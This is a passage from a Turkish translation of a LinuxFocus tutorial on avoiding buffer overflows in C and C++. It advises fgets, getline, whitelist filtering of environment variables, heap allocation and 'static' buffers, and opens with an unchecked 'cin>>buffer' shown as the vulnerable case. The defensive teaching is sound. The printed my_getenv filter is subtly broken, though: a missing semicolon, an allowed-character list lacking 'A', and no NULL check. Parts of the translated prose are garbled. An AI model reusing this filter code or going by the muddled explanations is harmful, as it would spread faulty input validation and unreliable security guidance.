  char buffer[500];
  cin>>buffer;
</pre>
Sizin de gördüğünüz gibi,test edilmemiştir! <code>gets(char *chaine)</code> de olduğu
durumun aynısı,C'yi kullanırken : kapı oldukça açık.<code>ios::width()</code>'in üyesi olan
fonksiyon,karakterleri, okunması için en üst sayı ile eşleştirir.
<P>
Okunana veri iki basamağa sahiptir.
İlk aşama,karakter dizinin hafıza alanınının boyutunu  sınırlayan
<CODE>fgets(char *chaine, int taille, FILE stream)</CODE> ile
olması konusunda ısrar etmektedir.Sonra okunan veri silinir,örneğin <CODE>sscanf()</CODE> ile.
İlk aşama bundan daha fazlasını da yapabilir,örneğin;<CODE>fgets(char *chaine, int
taille, FILE stream)</CODE> i,istenilen hafızayı,keyfi sınır koymadan  otomatik olarak
sağlayan döngünün içine yerleştirmektedir. GNU uzantısı <CODE>getline()</CODE> bunu sizin
için yapabilir.<CODE>isalnum()</CODE>, <CODE>isprint()</CODE>, vb. leri kullanarak yazılması
onaylanan karakterleri içermesi de mümkündür.<code>strspn()</code> fonksiyonu etkili bir
süzmeye müsade eder.Program biraz daha yavaş olur,fakat böylece kodun duyarlı bölümleri
tehlikeli veriye karşı kurşun geçirmez bir yelek ile korunur.
<P>
Doğrudan veri yazılımının sadece saldırgan giriş noktaları olmaz.Yazılım veri dosyaları
zedelenebilir,fakat onlara okumaları için yazılan kod yazmaları için yazılan koddan genellikle
daha güçlüdür.Programcılar,sezgisel olarak,içeriği kullanıcı tarafından korunan
dosyalara güven duymazlar.
<P>
Bellek alanındaki taşmalar genellikle şöyle bir şeye dayanmaktadır:çevresel karakter dizileri.
Bir programcının,başlamadan önce çevresel işlemi düzenldiğini unutmamalıyız.Alınan kararlara
göre,çevresel karakter dizisi "<CODE>NAME=VALUE</CODE>" yazılımının bir parçası olmalı ve
kötü amaçlı kullanıcıların önünde kullanışsız olmalı.
<CODE>getenv()</CODE> yöntemini kullanmak dikkat gerektirir.Özellikle bu bir karakter
dizisinin uzunluğunu(oldukça uzun) ve içeriğini (`<CODE>=</CODE>' içeriğinde herhangi
bir karakter bulabilirsinz) geri döndürüyorsa.<CODE>getenv()</CODE> tarafından geri
döndürülen karakter dizisi, uzunluğu ve bir karakterin arkasından diğerinin
geldiğini dikkate alarak <CODE>fgets(char *chaine, int taille, FILE stream)</CODE>
tarafından üretilenlerden biri gibi  yaratılacaktır.

<p>
Böyle filtreler, bir bilgisayar üretiliyormuş gibi yapılır: herşeyi yasaklamak ilk kuraldır!
Sonra bazı şeylere izin verilir:

<pre>
  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* Getting the data */
    data = getenv(var);

    /* Filtering
       Rem : obviously the replacement character must be
             in the list of the allowed ones !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }
</pre>
<p>

<code>strspn()</code> fonksiyonu bunu kolaylaştırır: ilk karakter gibi görünür,özel bir boşluğa
sahip bir karakter gibi değil.Sadece gerçe karakterleri tutarak  karakter dizisi uzunluğunu
geri gönderir(0 dan başlayarak).Yasaklana karakterlerin belirtildiğinden ve hiçbirinin yazıda
bulunmadığı kontrol edildiğinden beri <code>strcspn</code> fonksiyonun karşı bir fonksiyon
olduğunu unutmamak gerekir.


<A NAME="190lfindex6">&nbsp;</A>
<H2>Dİnamik Bellek Alanı Kullanımı</H2>


<P>
Bellek alanındaki taşmalar, tekrar yazmayı içeren kısma(taşmanın olduğu kısım) güvenir
sanki fonksiyonun adresini geri gönderiyormuş gibi.Etki otomatik veri ile ilgilidir,sadece
o kısmın içinde tahsis edilmiştir.Bu problemi kaldırmanın bir yolu,o kısımda sağlanan
karakter tablolarını <EM>heap</EM>'de bulunan dinamik değişkenler ile yerdeğiştirmektir.
Bunu yapmak için,sırası ile şunları yerdeğiştirmek gerekir:

<PRE>
  #define LG_STRING    128
  int fonction (...)
  {
    char chaine [LG_STRING];
    ...
    return (result);
  }
</PRE>
 with :
<PRE>
  #define LG_STRING    128
  int fonction (...)
  {
    char *string = NULL;
    if ((string = malloc (LG_STRING)) == NULL)
        return (-1);
    memset(string,'\0',LG_STRING);
    [...]
    free (string);
    return (result);
  }
</PRE>
Bu satırlar, kodu fazla üretir ve hafıza sızıntıları meydana getirir,fakat,yaklaşımı azaltmak
ve sınır uzunluk dğerlerini zorlamayı engellemek için  bu değişikliklerin avantajına
sahip olmalıyız.<CODE>alloca()</CODE> fonksiyonu ile daha kolay bir yol kullanmak ile
aynı sonucu vermeyeceğini düşünün.Bu,taşmanın olduğu yerde son olarak bir veri tahsis edecektir
ve otomatik değişkenlerdeki gibi aynı problemi doğuracaktır.<CODE>memset()</CODE> ile hafızayı
0' almak, başa alınmamış değişkenler değşkenlerin kullanımı ile ilgili bazı problemlerden
sakınmaya izin verecektir.Bütün bunlar,konuyu "Heap overflows from w00w00" konulu makaleye
taşıyacaktır.

<P>
Son olarak,bazı durumlarda,güvenlik çukurunu baştan kolayca defetmek,hafıza bildiriminden
önce <CODE>static</CODE> açkı sözcüğünü yerleştirmek ile mümkündür.Bu,işlem yığınından
uzak veri bölümünde sağlanmuştır.Kabuğa sahip olmak imkansızdır fakat DoS problemi
hala mevcuttur.Tabii ki,yöntem tekrarlanırsa bu çalışmaz.Bu "ilaç",fazla kod değiştirmeye gerek
kalmadan acil gereksinim durumunda güvenlik çukuruna geçici bir çözüm olmalıdır.

<H1>Sonuç</H1>
Umarız,bellekte taşmanın bu anlatımı,sizin daha güvenli programlar yazmanızı sağlayacaktır.Taşma
tekniği mekanizmayı iyi anlamayı gerektiriyorsa,genel prensip başarılabilir.Diğer yandan,
gerekenleri yerine getirmek zor değildir.Unutmayınız ki,daha sonra kabul edilir bir zamanda
güvenlik programı yazmak daha hızlı olacaktır.Buna, <em>format bugs</em> konulu bir sonraki
makalemizde değineceğiz.

<H1>İlişiklendirmeler</H1>
<ul>
  <li>Christophe Blaess page : <a href="http://perso.club-internet.fr/ccb/">perso.club-internet.fr/ccb/</a>
  <li>Christophe Grenier page : <a
      href="http://www.esiea.fr/public_html/Christophe.GRENIER/">www.esiea.fr/public_html/Christophe.GRENIER/</a>
  <li>Frédéric Raynal page : <a
      href="http://www-rocq.inria.fr/~raynal/">www-rocq.inria.fr/~raynal/</a>
  <li>Phrack Magazine : <a
      href="http://phrack.infonexus.com/">phrack.infonexus.com/</a>.
  <li>Heap overflow : <a
      href="http://www.w00w00.org/files/articles/heaptut.txt">www.w00w00.org/files/articles/heaptut.txt</a>
</ul>
<p>
<hr>

 

<!-- 2pdaIgnoreStart -->
<A NAME="talkback">&nbsp;</a>
<h2>Bu yazı için görüş bildiriminde bulunabilirsiniz</h2>
Her yazı kendi görüş bildirim sayfasına sahiptir. Bu sayfaya yorumlarınızı yazabilir ve diğer okuyucuların yorumlarına bakabilirsiniz.
<center>
<table border="0"  CELLSPACING="2" CELLPADDING="1">
 <tr BGCOLOR="#C2C2C2"><td align=center>
  <table border="3"  CELLSPACING="2" CELLPADDING="1">
   <tr BGCOLOR="#C2C2C2"><td align=center>
    <A href="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=190&lang=en"><b>&nbsp;talkback page&nbsp;</b></a>
   </td></tr></table>
</td></tr></table>
</center>

<HR size="2" noshade>
<!-- ARTICLE FOOT -->
<CENTER><TABLE WIDTH="95%">
<TR><TD ALIGN=CENTER BGCOLOR="#9999AA">
<A HREF="../../common/lfteam.html">Görselyöre sayfalarının bakımı, LinuxFocus Editörleri tarafından yapılmaktadır</A>
<BR><FONT COLOR="#FFFFFF">&copy;  Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier, <a href="../../common/copy.html">FDL</a> <BR><a href="http://www.linuxfocus.org">LinuxFocus.org</a></FONT>
<BR><a href="http://cgi.linuxfocus.org/cgi-bin/lfcomment?lang=tr&article=article190.shtml" target="_TOP">Burayı klikleyerek hataları rapor edebilir ya da yorumlarınızı LinuxFocus'a gönderebilirsiniz</A><BR></TD>
<TD BGCOLOR="#9999AA"><!-- TRANSLATION INFO -->
<font size=2>Çeviri bilgisi:</font><TABLE>
<tr><td><font size=2>fr</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>--</font></td>
    <td><font size=2><a href="mailto:pappy&#64;users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"><FONT COLOR="#FFFFFF"> Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier</FONT></a></font></td>
</tr>
<tr><td><font size=2>fr</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>en</font></td>
    <td><font size=2><a href="mailto:georges.t&#64;linuxfocus.org"><FONT COLOR="#FFFFFF">Georges Tarbouriech</FONT></a></font></td>
</tr>
<tr><td><font size=2>en</font></td>
    <td><font size=2>-&gt;</font></td>
    <td><font size=2>tr</font></td>
    <td><font size=2><a href="mailto:mumcuoglt&#64;saneg.itu.edu.tr"><FONT COLOR="#FFFFFF">Nur Mumcuoğlu</FONT></a></font></td>
</tr>
</TABLE></TD>
</TR></TABLE></CENTER>
<p><font size=1>2001-08-03, generated by lfparser version 2.17</font></p>
<!-- 2pdaIgnoreStop -->
</BODY>
</HTML>